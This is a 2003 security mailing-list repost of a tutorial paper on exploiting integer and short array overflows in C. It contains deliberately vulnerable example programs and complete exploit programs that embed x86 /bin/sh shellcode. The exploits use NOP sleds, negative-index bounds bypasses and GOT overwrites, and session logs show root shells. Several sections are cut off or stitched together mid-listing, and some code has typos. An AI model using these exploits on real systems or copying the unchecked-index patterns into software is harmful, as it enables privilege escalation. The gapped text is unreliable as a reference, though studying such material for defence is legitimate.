

[REVS] Integer Array Overflows

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0059.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/17/03

To: list@securiteam.com

Date: 17 Sep 2003 15:23:24 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Integer Array Overflows

SUMMARY

This paper discusses the exploitation of integer arrays due to lack of calculations to limit the amount of elements added to them. This is a common occurrence in programming today, while somewhat known and understood in character array form, vade79 has never seen it mentioned on the integer level.

Technical requirements for this paper are that you have knowledge of stack based overflows, heap based overflows, memory workings, some knowledge of character array overflows, and of course good ANSI C programming experience.

DETAILS

All of the example programs and example exploits contained in this paper were made and tested on RedHat/7.1 default install. The values used may not be the same on every system. As such, you will need to fully read the paper and test for yourself.

Integer array overflows happen much the same as any other lack of bounds checking overflow occurs. In memory, after the allocated space provided to hold the number of elements defined, there are stored internal values and

Securiteam: [REVS] Integer Array Overflows

memory addresses.

Once you have access to go beyond those bounds, you can overwrite internal values just as easily as a standard buffer overflow. This is possible because memory addresses on most architectures just happen to be the same size as an integer; four bytes stored in memory. As such, this allows you not worry about alignment.

To illustrate how this looks on the memory level, in ASCII:

```
int array[32];
```

Will look like (in memory):

```
[0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]
[0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]
[0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]
[0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]
[0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]
[0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]
```

Then, right after the 32nd(last) array value are internal values and memory addresses.

The fact that address notation and integer notation have the exact same maximum limit of value (0xffffffff = 4294967295) makes this perfect for any range of memory mangling.

Now it is time for a nice example of a buggy program:

INT_ARRAY.C: example buggy program.

```
/* int_array.c: a buggy test program. */
/* syntax: ./int_array [slot] [value] */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void place_int_array(unsigned int slot,int value){
    int array[32];
    array[slot]=value; /* the overwrite itself. */
    printf("filled slot %u with %d.\n",slot,value);
    return;
}

int main(int argc,char **argv){
    if(argc!=3)
        printf("syntax: %s [slot] [value]\n",argv[0]);
    else
        place_int_array(atoi(argv[1]),atoi(argv[2]));
    exit(0);
}
```

Securiteam: [REVS] Integer Array Overflows

INT_ARRAY.C: EOF.

All the example program does is filling the desired element with the supplied value. Time to tinker with the example program:

```
$ [root@localhost /root]# gcc int_array.c -o int_array
$ [root@localhost /root]# ./int_array 33 65535
$ filled slot 33 with 65535.
$ [root@localhost /root]# ./int_array 34 65535
$ filled slot 34 with 65535.
$ [root@localhost /root]# ./int_array 35 65535
$ filled slot 35 with 65535.
$ Segmentation fault (core dumped)
```

As you can see the program crashed, time to take it into gdb and examine:

```
$ [root@localhost /root]# gdb -c core
$ GNU gdb 5.0rh-5 Red Hat Linux 7.1
$ ...
$ This GDB was configured as "i386-redhat-linux".
$ Core was generated by `./int_array 35 65535'.
$ Program terminated with signal 11, Segmentation fault.
$ #0 0x0000ffff in ?? ()
$ (gdb)
```

Perfect, 0x0000ffff = 65535, the same value passed as the second argument (note that it may not be slot 35 on every machine). Therefore, we have control of EIP in integer notation. As stated before, address values and integer values are the same, just in different notation. This is true for most common memory layouts, but not all.

Now, time to produce an example exploit for this example program:
EXPL_INT_ARRAY.C: example exploit, for a buggy program.

```
/* expl_int_array.c: int_array.c exploit. */
/* syntax: ./expl_int_array [0x????????] [#] */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* path to the buggy program. (int_array) */

#define PATH "./int_array"

/* size of shellcode buffer. */

#define ENV_SIZE 4096

/* x86/linux shellcode, written by aleph1. */
```

Securiteam: [REVS] Integer Array Overflows

```
static char x86_exec[]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";

int main(int argc,char **argv){
char n_to_s[16],*buf;
unsigned int ret;

/* take address given, to be converted to a */
/* numeric value. */

if(argc>2)
scanf(argv[1],"%x",&ret);
else{
printf("syntax: %s [0x????????] [#]\n",argv[0]);
exit(0);
}

/* compensation: */
/* anything above 0x7fffffff will need to be */
/* passed as a negative value. subtract */
/* 0xffffffff in that case. it will loop */
/* over into the desired value. */

if(ret>0x7fffffff)
sprintf(n_to_s,"%d",ret-0xffffffff-1);
else
sprintf(n_to_s,"%u",ret);

/* put the nops+shellcode in the environment. */

if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(0);
memset(buf,0x90,(ENV_SIZE-strlen(x86_exec)));
memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec));
setenv("EXEC",buf,1);
free(buf)

/* some verbose display, informing! */

printf("return address: 0x%x\n",ret);
printf("command line: %s %s %s\n\n",PATH,argv[2],n_to_s);

/* exploit it. */

execl(PATH,PATH,argv[2],n_to_s,0);

/* should not make it here, execution failed. */
```

Securiteam: [REVS] Integer Array Overflows

```
exit(0);
}
```

EXPL_INT_ARRAY.C: EOF.

The exploit syntax is as follows: `./expl_int_array [slot number] [address]`. Where 'expl_int_array' will put shellcode in the environment on top of the stack close to `0xbfffffff` going downward (for Linux).

Since, in the exploit example, vade79 gave ~4000 bytes of NOP (no operation/guesses) room, we will use an address a bit from the top.

```
$ [root@localhost /root]# gcc expl_int_array.c -o expl_int_array
$ [root@localhost /root]# ./expl_int_array 0xbffff000 35
$ * return address: 0xbffff000
$ * command line: ./int_array 35 -1073745920
$
$ filled slot 35 with -1073745920.
$ sh-2.04#
```

Presto, now let us spice it up a little bit. We will change the original `int_array.c` example code to contain some bounds checking. `INT_ARRAY.C`: (rewrite of original) example buggy program.

```
/* int_array.c: a buggy test program. */
/* syntax: ./int_array [slot] [value] */
```

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
```

```
void place_int_array(int slot,int value){
    int array[32];
    if(slot>32)
        printf("slot is greater than 32, out of bounds.\n");
    else{
        array[slot]=value; /* the overwrite itself. */
        printf("filled slot %d with %d.\n",slot,value);
    }
    return;
}
int main(int argc,char **argv){
    if(argc!=3)
        printf("syntax: %s [slot] [value]\n",argv[0]);
    else
        place_int_array(atoi(argv[1]),atoi(argv[2]));
    exit(0);
}
```

INT_ARRAY.C: (rewrite of original) EOF.

Securiteam: [REVS] Integer Array Overflows

The main change in the example code (int_array.c) is that it checks for writing to array slots greater than 32, but not checking for negative values passed in an improper signedness situation.

Since this example code is just a rewrite of the original, we can use the same example exploit used on the rewrite, as was on the original. Therefore, when we attempt the same example exploit command line as before, we get a different result.

```
$ [root@localhost /root]# ./expl_int_array 0xbffff000 35
$ * return address: 0xbffff000
$ * command line: ./int_array 35 -1073745919
$
$ slot is greater than 32, out of bounds.
```

However, due to the improper signedness usage in the code we can exploit the vulnerability by passing a large, specially crafted negative value.

If you remember, in the original example the magic number was 35. For this situation, we can take that value and form a simple calculation to make it bypass the bounds checking while overwriting the same area:
 $-2147483648(\text{max}) + 35 = -2147483613$. Now let us see what happens.

```
$ [root@localhost /root]# ./expl_int_array 0xbffff000 -2147483613
$ * return address: 0xbffff000
$ * command line: ./int_array -2147483613 -1073745919
$
$ filled slot -2147483613 with -1073745919.
$ sh-2.04#
```

Simple as that, at least for this example. Now, let us rewrite the same example one last time. This time we will allocate the array in the heap instead of on the stack.

INT_ARRAY.C: (second rewrite of original) example buggy program.

```
/* int_array.c: a buggy test program. */
/* syntax: ./int_array [slot] [value] */
```

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
```

```
void place_int_array(int slot,int value){
    int *array;
    if(!(array=(int *)calloc(32,sizeof(int))))exit(1);
    if(slot>32)
        printf("slot is greater than 32, out of bounds.\n");
    else{
        array[slot]=value; /* the overwrite itself. */
        printf("filled slot %d with %d.\n",slot,value);
    }
}
```

Securiteam: [REVS] Integer Array Overflows

```
return;
}
int main(int argc,char **argv){
if(argc!=3)
printf("syntax: %s [slot] [value]\n",argv[0]);
else
place_int_array(atoi(argv[1]),atoi(argv[2]));
exit(0);
}
INT_ARRAY.C: (second rewrite of original) EOF.
```

All right, this is the rewrite of the previous rewrite. The only new thing here is the memory is allocated on the heap. This changes things somewhat, including methods of exploitation.

The method vade79 is fond of in this kind of situations is to overwrite the GOT("_GLOBAL_OFFSET_TABLE_") of other functions. Since the integer array is located after the GOT section, we will use negative slot values to backtrack.

In a small program, such as this example, the GOT section will not be too far back. If the program is larger, you will most likely need to travel back a good deal farther. On the flip-side of that coin, there will most likely be more functions; meaning there will be more GOT function addresses available to change.

You should hit magic spots in the GOT section around -45 to -70. The ones that worked for vade79 were -53, -55, -57, -59, and -62. As before, this is just another rewrite of the original example code. We can use the same example exploit code to exploit it, just different arguments.

```
$ [root@localhost /root]# ./expl_int_array 0xbffff000 -53
$ * return address: 0xbffff000
$ * command line: ./int_array -53 -1073745919
$
$ filled slot -53 with -1073745919.
$ sh-2.04#
```

Its now time to move on to a new situation and example program.

When it comes to practical exploitation of integer arrays, it will most likely be inside a loop. In such a situation, you may need to fill in other internal values to make it work.

For example, in many loop situations, the first value you overwrite may be that of the increase/decrease integer (i.e. "i++;").

These situations can make it possible to jump from one location to another, making it possible to overwrite the destination location we desire. This is done by passing a specially crafted value for the increase/decrease loop integer, making the array element point to anywhere

Securiteam: [REVS] Integer Array Overflows

you want in respective memory locations.

Here is an example of such a buggy program:
INT_ARRAY2.C: example buggy program.

```
/* int_array2.c: a buggy test program. */
/* syntax: ./int_array2 [value,value,...] */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char *gettoken(char *,int,unsigned int);
void place_int_array(char *);

int main(int argc,char **argv){
    if(argc!=2)
        printf("syntax: %s [value,value,...]\n",argv[0]);
    else
        place_int_array(argv[1]);
    exit(0);
}

/* place the string into the elements. */

void place_int_array(char *slot_values){
    unsigned int i=0;
    int array[32];
    char *ptr;

    /* overflow occurs here, no bounds checking. */

    while((ptr=gettoken(slot_values,i,','))){
        array[i]=atoi(ptr); /* the overwrite itself. */
        printf("placed %d in array slot %u.\n",atoi(ptr),i);
        i++; /* will be overwritten too. (first) */
    }
    return;
}

/* function to pluck out tokens. */

char *gettoken(char *string,int i,unsigned int sep){
    unsigned int j=0,k=0;
    char *buf;
    if(!(buf=(char *)malloc(strlen(string)+1)))exit(1);
    memset(buf,0x0,(strlen(string)+1));
    if(i<0)return(NULL);
    else
        for(j=0;j<strlen(string);j++){
```

Securiteam: [REVS] Integer Array Overflows

```
if(string[j]==sep)i---;
else if(!i)buf[k++]=string[j];
if(string[j]==0x0A||string[j]==0x0)j=(strlen(string)+1);
}
if(i>0)return(NULL);
return(buf);
}
```

INT_ARRAY2.C: EOF.

The buggy program simply takes each number passed, separated by commas, and adds it in sequence order to the array without bounds checking.

Now, let us see what we can make it do.

```
$ [root@localhost /root]# gcc int_array2.c -o int_array2
$ [root@localhost /root]# ./int_array2 `perl -e 'print"123,"x50`123
$ placed 123 in array slot 0.
$ placed 123 in array slot 1.
$ placed 123 in array slot 2.
$ placed 123 in array slot 3.
$ ...
$ placed 123 in array slot 32.
$ placed 123 in array slot 33.
$ placed 123 in array slot 34.
$ placed 123 in array slot 123.
$ [root@localhost /root]#
```

If you noticed, when slot 35 was supposed to be modified, we jumped to 123. This means we have taken control of the loop's integer (as described earlier). This means we can overwrite the location we want to. Back to playing with the buggy program.

```
$ [root@localhost /root]# ./int_array2 `perl -e 'print"0,"x35`35,0,0,0\
$,65535
$ placed 0 in array slot 0.
$ placed 0 in array slot 1.
$ placed 0 in array slot 2.
$ placed 0 in array slot 3.
$ ...
$ placed 0 in array slot 32.
$ placed 0 in array slot 33.
$ placed 0 in array slot 34.
$ placed 35 in array slot 35.
$ placed 0 in array slot 36.
$ placed 0 in array slot 37.
$ placed 0 in array slot 38.
$ placed 65535 in array slot 39.
$ Segmentation fault (core dumped)
```

What we did here is just leave the loop integer with what it should be (35) in order to keep the program sane for debugging. Let us take the core

Securiteam: [REVS] Integer Array Overflows

```
int main(int argc,char **argv){
char n_to_s[16],*buf;
unsigned int ret;

/* take address given, to be converted to a */
/* numeric value. */

if(argc>1)
sscanf(argv[1],"%x",&ret);
else{
printf("syntax: %s [0x??????]\n",argv[0]);
exit(0);
}

/* compensation: */
/* anything above 0x7fffffff will need to be */
/* passed as a negative value. subtract */
/* 0xffffffff in that case. it will loop */
/* over into the desired value. */

if(ret>0x7fffffff)
sprintf(n_to_s,"%d",ret-0xffffffff);
else
sprintf(n_to_s,"%u",ret);

/* put the nops+shellcode in the environment. */

if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(1);
memset(buf,0x90,(ENV_SIZE-strlen(x86_exec)));
memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec));
setenv("EXEC",buf,1);
free(buf);

/* make the final array argument to pass. */

if(!(buf=(char *)malloc(strlen(prefix)+strlen(n_to_s)+1)))exit(1);
sprintf(buf,"%s%s",prefix,n_to_s);

/* some verbose display, informing! */

printf("return address: 0x%x\n",ret);
printf("command line: %s %s\n\n",PATH,buf);

/* exploit it. */

execl(PATH,PATH,buf,0);

/* should not make it here, execution failed. */

exit(0);
}
```


Securiteam: [REVS] Integer Array Overflows

```
exit(0);
}

/* place the string into the elements. */

void place_short_array(char *slot_values){
    unsigned int i=0;
    short array[32];
    char *ptr;

    /* overflow occurs here, no bounds checking. */

    while((ptr=gettoken(slot_values,i,','))){
        array[i]=atoi(ptr); /* the overwrite itself. */
        printf("placed %d in array slot %u.\n",atoi(ptr),i);
        i++; /* will be overwritten too. (first) */
    }
    return;
}

/* function to pluck out tokens. */

char *gettoken(char *string,int i,unsigned int sep){
    unsigned int j=0,k=0;
    char *buf;
    if(!(buf=(char *)malloc(strlen(string)+1)))exit(1);
    memset(buf,0x0,(strlen(string)+1));
    if(i<0)return(NULL);
    else
        for(j=0;j<strlen(string);j++){
            if(string[j]==sep)i--;
            else if(!i)buf[k++]=string[j];
            if(string[j]==0x0A||string[j]==0x0)j=(strlen(string)+1);
        }
    if(i>0)return(NULL);
    return(buf);
}
```

SHORT_ARRAY.C: EOF.

If you noticed, the only difference between this and int_array2.c is that the array is a short. Therefore, the values are half the size of an int, it is going to take twice as many elements to do what we want (after that array).

Here is how short_array responds under the same testing on int_array2.

```
$ [root@localhost /root]# gcc short_array.c -o short_array
$ [root@localhost /root]# ./short_array `perl -e 'print"0,"x32`0,0,0,0\
$,0,0,38,0,0,0,0,0,0,0,65535,43690
$ placed 0 in array slot 0.
```


Securiteam: [REVS] Integer Array Overflows

apply to integer array overflows that do to any other kind of overflow.

Any of these situations can also occur with character arrays in the same manner. The only difference being you cannot use null bytes in character array situations as you can with integer arrays.

Also, remember, signedness can play a major role in exploitation of these bugs. If proper signedness is used, it may render the negative value method useless. This only applies to the rewrites of the int_array.c example.

Vade79 hopes this short and to-the-point paper has helped to explain the potential of these kinds of overflows, and has shown how to effectively exploit them.

ADDITIONAL INFORMATION

The original paper can be downloaded from:
<<http://fakehalo.deadpig.org/IAO-paper.txt>>
<http://fakehalo.deadpig.org/IAO-paper.txt>.

The information has been provided by <<mailto:v9@fakehalo.deadpig.org>>
vade79/v9.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.